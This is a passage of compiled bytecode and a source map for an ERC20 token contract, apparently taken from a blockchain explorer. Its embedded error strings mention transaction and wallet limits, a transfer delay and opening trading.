35050602061268c8682870161246e565b925050604061269d8682870161246e565b9150509250925092565b60006126b383836126bf565b60208301905092915050565b6126c881612fa0565b82525050565b6126d781612fa0565b82525050565b60006126e882612cd5565b6126f28185612cf8565b93506126fd83612cc5565b8060005b8381101561272e57815161271588826126a7565b975061272083612ceb565b925050600181019050612701565b5085935050505092915050565b61274481612fc4565b82525050565b61275381613007565b82525050565b600061276482612ce0565b61276e8185612d09565b935061277e818560208601613028565b612787816131c3565b840191505092915050565b600061279f602383612d09565b91506127aa826131e1565b604082019050919050565b60006127c2601983612d09565b91506127cd82613230565b602082019050919050565b60006127e5602283612d09565b91506127f082613259565b604082019050919050565b6000612808601b83612d09565b9150612813826132a8565b602082019050919050565b600061282b604983612d09565b9150612836826132d1565b606082019050919050565b600061284e602183612d09565b915061285982613346565b604082019050919050565b6000612871602083612d09565b915061287c82613395565b602082019050919050565b6000612894602983612d09565b915061289f826133be565b604082019050919050565b60006128b7602583612d09565b91506128c28261340d565b604082019050919050565b60006128da601a83612d09565b91506128e58261345c565b602082019050919050565b60006128fd602483612d09565b915061290882613485565b604082019050919050565b6000612920601783612d09565b915061292b826134d4565b602082019050919050565b61293f81612ff0565b82525050565b61294e81612ffa565b82525050565b600060208201905061296960008301846126ce565b92915050565b600060408201905061298460008301856126ce565b61299160208301846126ce565b9392505050565b60006040820190506129ad60008301856126ce565b6129ba6020830184612936565b9392505050565b600060c0820190506129d660008301896126ce565b6129e36020830188612936565b6129f0604083018761274a565b6129fd606083018661274a565b612a0a60808301856126ce565b612a1760a0830184612936565b979650505050505050565b6000602082019050612a37600083018461273b565b92915050565b60006020820190508181036000830152612a578184612759565b905092915050565b60006020820190508181036000830152612a7881612792565b9050919050565b60006020820190508181036000830152612a98816127b5565b9050919050565b60006020820190508181036000830152612ab8816127d8565b9050919050565b60006020820190508181036000830152612ad8816127fb565b9050919050565b60006020820190508181036000830152612af88161281e565b9050919050565b60006020820190508181036000830152612b1881612841565b9050919050565b60006020820190508181036000830152612b3881612864565b9050919050565b60006020820190508181036000830152612b5881612887565b9050919050565b60006020820190508181036000830152612b78816128aa565b9050919050565b60006020820190508181036000830152612b98816128cd565b9050919050565b60006020820190508181036000830152612bb8816128f0565b9050919050565b60006020820190508181036000830152612bd881612913565b9050919050565b6000602082019050612bf46000830184612936565b92915050565b600060a082019050612c0f6000830188612936565b612c1c602083018761274a565b8181036040830152612c2e81866126dd565b9050612c3d60608301856126ce565b612c4a6080830184612936565b9695505050505050565b6000602082019050612c696000830184612945565b92915050565b6000612c79612c8a565b9050612c85828261308d565b919050565b6000604051905090565b600067ffffffffffffffff821115612caf57612cae613194565b5b612cb8826131c3565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d2582612ff0565b9150612d3083612ff0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d6557612d64613107565b5b828201905092915050565b6000612d7b82612ff0565b9150612d8683612ff0565b925082612d9657612d95613136565b5b828204905092915050565b6000808291508390505b6001851115612deb57808604811115612dc757612dc6613107565b5b6001851615612dd65780820291505b8081029050612de4856131d4565b9450612dab565b94509492505050565b6000612dff82612ff0565b9150612e0a83612ffa565b9250612e377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e3f565b905092915050565b600082612e4f5760019050612f0b565b81612e5d5760009050612f0b565b8160018114612e735760028114612e7d57612eac565b6001915050612f0b565b60ff841115612e8f57612e8e613107565b5b8360020a915084821115612ea657612ea5613107565b5b50612f0b565b5060208310610133831016604e8410600b8410161715612ee15782820a905083811115612edc57612edb613107565b5b612f0b565b612eee8484846001612da1565b92509050818404811115612f0557612f04613107565b5b81810290505b9392505050565b6000612f1d82612ff0565b9150612f2883612ff0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6157612f60613107565b5b828202905092915050565b6000612f7782612ff0565b9150612f8283612ff0565b925082821015612f9557612f94613107565b5b828203905092915050565b6000612fab82612fd0565b9050919050565b6000612fbd82612fd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061301282612ff0565b9050919050565b82818337600083830152505050565b60005b8381101561304657808201518184015260208101905061302b565b83811115613055576000848401525b50505050565b6000600282049050600182168061307357607f821691505b6020821081141561308757613086613165565b5b50919050565b613096826131c3565b810181811067ffffffffffffffff821117156130b5576130b4613194565b5b80604052505050565b60006130c982612ff0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130fc576130fb613107565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61350681612fa0565b811461351157600080fd5b50565b61351d81612fb2565b811461352857600080fd5b50565b61353481612fc4565b811461353f57600080fd5b50565b61354b81612ff0565b811461355657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b4421c5e5a81df3bf7f3209c51da5c716f96a6e8580b608faf8649a7802ef6364736f6c63430008040033

Deployed Bytecode Sourcemap

3563:8802:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5618:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6573:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4872:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5895:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6742:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5804:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11127:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5998:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2644:148;;;;;;;;;;;;;:::i;:::-;;4700:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2430:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4755:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5709:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6247:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4812:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3903:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11480:672;;;;;;;;;;;;;:::i;:::-;;6422:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12197:165;;;;;;;;;;;;;:::i;:::-;;5618:83;5655:13;5688:5;;;;;;;;;;;;;;;;;5681:12;;5618:83;:::o;6573:161::-;6648:4;6665:39;6674:12;:10;:12::i;:::-;6688:7;6697:6;6665:8;:39::i;:::-;6722:4;6715:11;;6573:161;;;;:::o;4872:46::-;;;;:::o;5895:95::-;5948:7;4502:1;4567:2;:13;;;;:::i;:::-;4545:19;:35;;;;:::i;:::-;5968:14;;5895:95;:::o;6742:313::-;6840:4;6857:36;6867:6;6875:9;6886:6;6857:9;:36::i;:::-;6904:121;6913:6;6921:12;:10;:12::i;:::-;6935:89;6973:6;6935:89;;;;;;;;;;;;;;;;;:11;:19;6947:6;6935:19;;;;;;;;;;;;;;;:33;6955:12;:10;:12::i;:::-;6935:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6904:8;:121::i;:::-;7043:4;7036:11;;6742:313;;;;;:::o;5804:83::-;5845:5;4502:1;5863:16;;5804:83;:::o;11127:243::-;2567:12;:10;:12::i;:::-;2557:22;;:6;;;;;;;;;;:22;;;2549:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4502:1:::1;4567:2;:13;;;;:::i;:::-;4545:19;:35;;;;:::i;:::-;11199:12;:22;;;;4502:1;4567:2;:13;;;;:::i;:::-;4545:19;:35;;;;:::i;:::-;11232:14;:22;;;;11276:6;11265:8;:17;;;;;;;;;;;;:::i;:::-;;11314:5;11293:20;;:26;;;;;;;;;;;;;;;;;;11335:27;4502:1;4567:2;:13;;;;:::i;:::-;4545:19;:35;;;;:::i;:::-;11335:27;;;;;;:::i;:::-;;;;;;;;11127:243:::0;:::o;5998:119::-;6064:7;6091:9;:18;6101:7;6091:18;;;;;;;;;;;;;;;;6084:25;;5998:119;;;:::o;2644:148::-;2567:12;:10;:12::i;:::-;2557:22;;:6;;;;;;;;;;:22;;;2549:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2751:1:::1;2714:40;;2735:6;::::0;::::1;;;;;;;;2714:40;;;;;;;;;;;;2782:1;2765:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2644:148::o:0;4700:48::-;;;;:::o;2430:79::-;2468:7;2495:6;;;;;;;;;;;2488:13;;2430:79;:::o;4755:50::-;;;;:::o;5709:87::-;5748:13;5781:7;;;;;;;;;;;;;;;;;5774:14;;5709:87;:::o;6247:167::-;6325:4;6342:42;6352:12;:10;:12::i;:::-;6366:9;6377:6;6342:9;:42::i;:::-;6402:4;6395:11;;6247:167;;;;:::o;4812:53::-;;;;:::o;3903:39::-;;;;;;;;;;;;;:::o;11480:672::-;2567:12;:10;:12::i;:::-;2557:22;;:6;;;;;;;;;;:22;;;2549:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11544:11:::1;;;;;;;;;;;11543:12;11535:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11630:42;11593:15;;:80;;;;;;;;;;;;;;;;;;11684:58;11701:4;11716:15;;;;;;;;;;;4502:1;4567:2;:13;;;;:::i;:::-;4545:19;:35;;;;:::i;:::-;11684:8;:58::i;:::-;11787:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11769:55;;;11833:4;11840:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11769:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11753:13;;:110;;;;;;;;;;;;;;;;;;11874:15;;;;;;;;;;;:31;;;11913:21;11944:4;11950:24;11968:4;11950:9;:24::i;:::-;11975:1;11977::::0;11979:7:::1;:5;:7::i;:::-;11987:15;11874:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12021:13;;;;;;;;;;;12014:29;;;12052:15;;;;;;;;;;;12070:14;12014:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12110:5;12096:11;;:19;;;;;;;;;;;;;;;;;;12140:4;12126:11;;:18;;;;;;;;;;;;;;;;;;11480:672::o:0;6422:143::-;6503:7;6530:11;:18;6542:5;6530:18;;;;;;;;;;;;;;;:27;6549:7;6530:27;;;;;;;;;;;;;;;;6523:34;;6422:143;;;;:::o;12197:165::-;12239:18;12258:21;12239:40;;12304:1;12293:10;:12;12290:65;;;12319:24;12332:10;12319:12;:24::i;:::-;12290:65;12197:165;:::o;185:98::-;238:7;265:10;258:17;;185:98;:::o;7063:335::-;7173:1;7156:19;;:5;:19;;;;7148:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7254:1;7235:21;;:7;:21;;;;7227:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7336:6;7306:11;:18;7318:5;7306:18;;;;;;;;;;;;;;;:27;7325:7;7306:27;;;;;;;;;;;;;;;:36;;;;7374:7;7358:32;;7367:5;7358:32;;;7383:6;7358:32;;;;;;:::i;:::-;;;;;;;;7063:335;;;:::o;7406:2475::-;7510:1;7494:18;;:4;:18;;;;7486:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7587:1;7573:16;;:2;:16;;;;7565:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7657:1;7648:6;:10;7640:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7715:17;7745:15;7761:6;7745:22;;7790:7;:5;:7::i;:::-;7782:15;;:4;:15;;;;:32;;;;;7807:7;:5;:7::i;:::-;7801:13;;:2;:13;;;;7782:32;:57;;;;;7834:4;7818:21;;:4;:21;;;;7782:57;:80;;;;;7857:4;7843:19;;:2;:19;;;;7782:80;7778:1744;;;7891:30;7917:3;7891:21;7902:9;:7;:9::i;:::-;7891:6;:10;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7879:42;;7942:20;;;;;;;;;;;7938:509;;;8003:15;;;;;;;;;;;7989:30;;:2;:30;;;;:62;;;;;8037:13;;;;;;;;;;;8023:28;;:2;:28;;;;7989:62;7985:445;;;8188:12;8115:28;:39;8144:9;8115:39;;;;;;;;;;;;;;;;:85;8079:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8396:12;8354:28;:39;8383:9;8354:39;;;;;;;;;;;;;;;:54;;;;7985:445;7938:509;8475:13;;;;;;;;;;;8467:21;;:4;:21;;;:55;;;;;8506:15;;;;;;;;;;;8492:30;;:2;:30;;;;8467:55;:83;;;;;8528:18;:22;8547:2;8528:22;;;;;;;;;;;;;;;;;;;;;;;;;8526:24;8467:83;8463:313;;;8590:12;;8580:6;:22;;8572:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8685:14;;8675:6;8659:13;8669:2;8659:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8651:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8749:9;;:11;;;;;;;;;:::i;:::-;;;;;;8463:313;8801:13;;;;;;;;;;;8795:19;;:2;:19;;;:43;;;;;8833:4;8818:20;;:4;:20;;;;8795:43;8792:126;;;8871:31;8898:3;8871:22;8882:10;:8;:10::i;:::-;8871:6;:10;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;8859:43;;8792:126;8934:28;8965:24;8983:4;8965:9;:24::i;:::-;8934:55;;9045:1;9015:9;:7;:9::i;:::-;9008:27;;;9036:4;9008:33;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:38;9004:55;;;9058:1;9048:11;;9004:55;9079:6;;;;;;;;;;;9078:7;:32;;;;;9097:13;;;;;;;;;;;9089:21;;:2;:21;;;9078:32;:47;;;;;9114:11;;;;;;;;;;;9078:47;:89;;;;;9150:17;;9129:20;:38;9078:89;:121;;;;;9181:18;;9171:9;;:28;9078:121;9074:437;;;9220:67;9237:49;9241:6;9248:37;9252:20;9273:11;;9248:3;:37::i;:::-;9237:3;:49::i;:::-;9220:16;:67::i;:::-;9306:26;9335:21;9306:50;;9399:17;;9378:18;:38;9375:121;;;9441:35;9454:21;9441:12;:35::i;:::-;9375:121;9074:437;;7778:1744;;9547:1;9537:9;:11;9534:161;;;9587:39;9616:9;9587;:24;9605:4;9587:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9562:9;:24;9580:4;9562:24;;;;;;;;;;;;;;;:64;;;;9667:4;9644:39;;9653:4;9644:39;;;9673:9;9644:39;;;;;;:::i;:::-;;;;;;;;9534:161;9723:28;9743:7;9723:9;:15;9733:4;9723:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;9707:9;:15;9717:4;9707:15;;;;;;;;;;;;;;;:44;;;;9776:40;9794:21;9805:9;9794:6;:10;;:21;;;;:::i;:::-;9776:9;:13;9786:2;9776:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9762:9;:13;9772:2;9762:13;;;;;;;;;;;;;;;:54;;;;9847:2;9832:41;;9841:4;9832:41;;;9851:21;9862:9;9851:6;:10;;:21;;;;:::i;:::-;9832:41;;;;;;:::i;:::-;;;;;;;;7406:2475;;;;;:::o;1322:190::-;1408:7;1441:1;1436;:6;;1444:12;1428:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1468:9;1484:1;1480;:5;;;;:::i;:::-;1468:17;;1503:1;1496:8;;;1322:190;;;;;:::o;11378:92::-;11435:10;;;;;;;;;;;:19;;:27;11455:6;11435:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11378:92;:::o;9889:310::-;9930:7;9966:15;;9953:9;;:28;9950:80;;10004:14;;9997:21;;;;9950:80;10055:15;;10043:9;;:27;:64;;;;;10087:20;;10074:9;;:33;;10043:64;10040:121;;;10130:19;;10123:26;;;;10040:121;10179:12;;10172:19;;9889:310;;:::o;1520:246::-;1578:7;1607:1;1602;:6;1598:47;;;1632:1;1625:8;;;;1598:47;1655:9;1671:1;1667;:5;;;;:::i;:::-;1655:17;;1700:1;1695;1691;:5;;;;:::i;:::-;:10;1683:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1757:1;1750:8;;;1520:246;;;;;:::o;1774:132::-;1832:7;1859:39;1863:1;1866;1859:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1852:46;;1774:132;;;;:::o;10207:315::-;10249:7;10285:16;;10272:9;;:29;10269:82;;10324:15;;10317:22;;;;10269:82;10376:16;;10364:9;;:28;:65;;;;;10409:20;;10396:9;;:33;;10364:65;10361:123;;;10452:20;;10445:27;;;;10361:123;10502:12;;10495:19;;10207:315;;:::o;6125:114::-;6166:12;6211:8;6200:31;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6191:40;;6125:114;:::o;10530:98::-;10587:7;10614:1;10612;:3;10611:9;;10619:1;10611:9;;;10617:1;10611:9;10604:16;;10530:98;;;;:::o;10636:483::-;5238:4;5229:6;;:13;;;;;;;;;;;;;;;;;;10714:21:::1;10752:1;10738:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10714:40;;10783:4;10765;10770:1;10765:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;10809:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10799:4;10804:1;10799:7;;;;;;;;;;;;;;;;;;;;;:32;;;;;;;;;::::0;::::1;10842:62;10859:4;10874:15;;;;;;;;;;;10892:11;10842:8;:62::i;:::-;10915:15;;;;;;;;;;;:66;;;10996:11;11022:1;11038:4;11065;11085:15;10915:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;5253:1;5274:5:::0;5265:6;;:14;;;;;;;;;;;;;;;;;;10636:483;:::o;991:179::-;1049:7;1069:9;1085:1;1081;:5;;;;:::i;:::-;1069:17;;1110:1;1105;:6;;1097:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1161:1;1154:8;;;991:179;;;;:::o;1178:136::-;1236:7;1263:43;1267:1;1270;1263:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1256:50;;1178:136;;;;:::o;1914:189::-;2000:7;2032:1;2028;:5;2035:12;2020:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2059:9;2075:1;2071;:5;;;;:::i;:::-;2059:17;;2094:1;2087:8;;;1914:189;;;;;:::o;-1:-1:-1:-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;:::o;7:343:1:-;84:5;109:65;125:48;166:6;125:48;:::i;:::-;109:65;:::i;:::-;100:74;;197:6;190:5;183:21;235:4;228:5;224:16;273:3;264:6;259:3;255:16;252:25;249:2;;;290:1;287;280:12;249:2;303:41;337:6;332:3;327;303:41;:::i;:::-;90:260;;;;;;:::o;356:139::-;402:5;440:6;427:20;418:29;;456:33;483:5;456:33;:::i;:::-;408:87;;;;:::o;501:143::-;558:5;589:6;583:13;574:22;;605:33;632:5;605:33;:::i;:::-;564:80;;;;:::o;650:159::-;715:5;746:6;740:13;731:22;;762:41;797:5;762:41;:::i;:::-;721:88;;;;:::o;815:137::-;869:5;900:6;894:13;885:22;;916:30;940:5;916:30;:::i;:::-;875:77;;;;:::o;971:271::-;1026:5;1075:3;1068:4;1060:6;1056:17;1052:27;1042:2;;1093:1;1090;1083:12;1042:2;1133:6;1120:20;1158:78;1232:3;1224:6;1217:4;1209:6;1205:17;1158:78;:::i;:::-;1149:87;;1032:210;;;;;:::o;1248:139::-;1294:5;1332:6;1319:20;1310:29;;1348:33;1375:5;1348:33;:::i;:::-;1300:87;;;;:::o;1393:143::-;1450:5;1481:6;1475:13;1466:22;;1497:33;1524:5;1497:33;:::i;:::-;1456:80;;;;:::o;1542:262::-;1601:6;1650:2;1638:9;1629:7;1625:23;1621:32;1618:2;;;1666:1;1663;1656:12;1618:2;1709:1;1734:53;1779:7;1770:6;1759:9;1755:22;1734:53;:::i;:::-;1724:63;;1680:117;1608:196;;;;:::o;1810:284::-;1880:6;1929:2;1917:9;1908:7;1904:23;1900:32;1897:2;;;1945:1;1942;1935:12;1897:2;1988:1;2013:64;2069:7;2060:6;2049:9;2045:22;2013:64;:::i;:::-;2003:74;;1959:128;1887:207;;;;:::o;2100:300::-;2178:6;2227:2;2215:9;2206:7;2202:23;2198:32;2195:2;;;2243:1;2240;2233:12;2195:2;2286:1;2311:72;2375:7;2366:6;2355:9;2351:22;2311:72;:::i;:::-;2301:82;;2257:136;2185:215;;;;:::o;2406:407::-;2474:6;2482;2531:2;2519:9;2510:7;2506:23;2502:32;2499:2;;;2547:1;2544;2537:12;2499:2;2590:1;2615:53;2660:7;2651:6;2640:9;2636:22;2615:53;:::i;:::-;2605:63;;2561:117;2717:2;2743:53;2788:7;2779:6;2768:9;2764:22;2743:53;:::i;:::-;2733:63;;2688:118;2489:324;;;;;:::o;2819:552::-;2896:6;2904;2912;2961:2;2949:9;2940:7;2936:23;2932:32;2929:2;;;2977:1;2974;2967:12;2929:2;3020:1;3045:53;3090:7;3081:6;3070:9;3066:22;3045:53;:::i;:::-;3035:63;;2991:117;3147:2;3173:53;3218:7;3209:6;3198:9;3194:22;3173:53;:::i;:::-;3163:63;;3118:118;3275:2;3301:53;3346:7;3337:6;3326:9;3322:22;3301:53;:::i;:::-;3291:63;;3246:118;2919:452;;;;;:::o;3377:407::-;3445:6;3453;3502:2;3490:9;3481:7;3477:23;3473:32;3470:2;;;3518:1;3515;3508:12;3470:2;3561:1;3586:53;3631:7;3622:6;3611:9;3607:22;3586:53;:::i;:::-;3576:63;;3532:117;3688:2;3714:53;3759:7;3750:6;3739:9;3735:22;3714:53;:::i;:::-;3704:63;;3659:118;3460:324;;;;;:::o;3790:278::-;3857:6;3906:2;3894:9;3885:7;3881:23;3877:32;3874:2;;;3922:1;3919;3912:12;3874:2;3965:1;3990:61;4043:7;4034:6;4023:9;4019:22;3990:61;:::i;:::-;3980:71;;3936:125;3864:204;;;;:::o;4074:373::-;4142:6;4191:2;4179:9;4170:7;4166:23;4162:32;4159:2;;;4207:1;4204;4197:12;4159:2;4278:1;4267:9;4263:17;4250:31;4308:18;4300:6;4297:30;4294:2;;;4340:1;4337;4330:12;4294:2;4368:62;4422:7;4413:6;4402:9;4398:22;4368:62;:::i;:::-;4358:72;;4221:219;4149:298;;;;:::o;4453:284::-;4523:6;4572:2;4560:9;4551:7;4547:23;4543:32;4540:2;;;4588:1;4585;4578:12;4540:2;4631:1;4656:64;4712:7;4703:6;4692:9;4688:22;4656:64;:::i;:::-;4646:74;;4602:128;4530:207;;;;:::o;4743:596::-;4831:6;4839;4847;4896:2;4884:9;4875:7;4871:23;4867:32;4864:2;;;4912:1;4909;4902:12;4864:2;4955:1;4980:64;5036:7;5027:6;5016:9;5012:22;4980:64;:::i;:::-;4970:74;;4926:128;5093:2;5119:64;5175:7;5166:6;5155:9;5151:22;5119:64;:::i;:::-;5109:74;;5064:129;5232:2;5258:64;5314:7;5305:6;5294:9;5290:22;5258:64;:::i;:::-;5248:74;;5203:129;4854:485;;;;;:::o;5345:179::-;5414:10;5435:46;5477:3;5469:6;5435:46;:::i;:::-;5513:4;5508:3;5504:14;5490:28;;5425:99;;;;:::o;5530:108::-;5607:24;5625:5;5607:24;:::i;:::-;5602:3;5595:37;5585:53;;:::o;5644:118::-;5731:24;5749:5;5731:24;:::i;:::-;5726:3;5719:37;5709:53;;:::o;5798:732::-;5917:3;5946:54;5994:5;5946:54;:::i;:::-;6016:86;6095:6;6090:3;6016:86;:::i;:::-;6009:93;;6126:56;6176:5;6126:56;:::i;:::-;6205:7;6236:1;6221:284;6246:6;6243:1;6240:13;6221:284;;;6322:6;6316:13;6349:63;6408:3;6393:13;6349:63;:::i;:::-;6342:70;;6435:60;6488:6;6435:60;:::i;:::-;6425:70;;6281:224;6268:1;6265;6261:9;6256:14;;6221:284;;;6225:14;6521:3;6514:10;;5922:608;;;;;;;:::o;6536:109::-;6617:21;6632:5;6617:21;:::i;:::-;6612:3;6605:34;6595:50;;:::o;6651:147::-;6746:45;6785:5;6746:45;:::i;:::-;6741:3;6734:58;6724:74;;:::o;6804:364::-;6892:3;6920:39;6953:5;6920:39;:::i;:::-;6975:71;7039:6;7034:3;6975:71;:::i;:::-;6968:78;;7055:52;7100:6;7095:3;7088:4;7081:5;7077:16;7055:52;:::i;:::-;7132:29;7154:6;7132:29;:::i;:::-;7127:3;7123:39;7116:46;;6896:272;;;;;:::o;7174:366::-;7316:3;7337:67;7401:2;7396:3;7337:67;:::i;:::-;7330:74;;7413:93;7502:3;7413:93;:::i;:::-;7531:2;7526:3;7522:12;7515:19;;7320:220;;;:::o;7546:366::-;7688:3;7709:67;7773:2;7768:3;7709:67;:::i;:::-;7702:74;;7785:93;7874:3;7785:93;:::i;:::-;7903:2;7898:3;7894:12;7887:19;;7692:220;;;:::o;7918:366::-;8060:3;8081:67;8145:2;8140:3;8081:67;:::i;:::-;8074:74;;8157:93;8246:3;8157:93;:::i;:::-;8275:2;8270:3;8266:12;8259:19;;8064:220;;;:::o;8290:366::-;8432:3;8453:67;8517:2;8512:3;8453:67;:::i;:::-;8446:74;;8529:93;8618:3;8529:93;:::i;:::-;8647:2;8642:3;8638:12;8631:19;;8436:220;;;:::o;8662:366::-;8804:3;8825:67;8889:2;8884:3;8825:67;:::i;:::-;8818:74;;8901:93;8990:3;8901:93;:::i;:::-;9019:2;9014:3;9010:12;9003:19;;8808:220;;;:::o;9034:366::-;9176:3;9197:67;9261:2;9256:3;9197:67;:::i;:::-;9190:74;;9273:93;9362:3;9273:93;:::i;:::-;9391:2;9386:3;9382:12;9375:19;;9180:220;;;:::o;9406:366::-;9548:3;9569:67;9633:2;9628:3;9569:67;:::i;:::-;9562:74;;9645:93;9734:3;9645:93